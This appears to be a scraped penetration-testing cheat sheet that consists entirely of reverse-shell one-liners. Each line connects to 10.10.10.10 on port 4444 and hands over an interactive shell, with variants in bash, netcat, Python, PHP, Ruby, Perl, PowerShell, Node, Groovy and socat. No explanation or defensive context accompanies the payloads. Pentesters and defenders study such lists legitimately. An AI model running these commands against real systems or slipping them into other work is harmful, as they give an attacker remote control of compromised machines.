bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
bash -i >& /dev/udp/10.10.10.10/4444 0>&1
0<&196;exec 196<>/dev/tcp/10.10.10.10/4444; sh <&196 >&196 2>&196
nc -e /bin/sh 10.10.10.10 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
python3 -c 'import os,socket,subprocess;s=socket.socket();s.connect(("10.10.10.10",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("10.10.10.10",4444);$proc=proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$pipes);'
ruby -rsocket -e 'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
PowerShell (short) Windows
Copy $c=New-Object Net.Sockets.TCPClient("10.10.10.10",4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
node -e "require('child_process').exec('bash -i >& /dev/tcp/10.10.10.10/4444 0>&1')"
r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor()
socat TCP:10.10.10.10:4444 EXEC:/bin/sh
socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane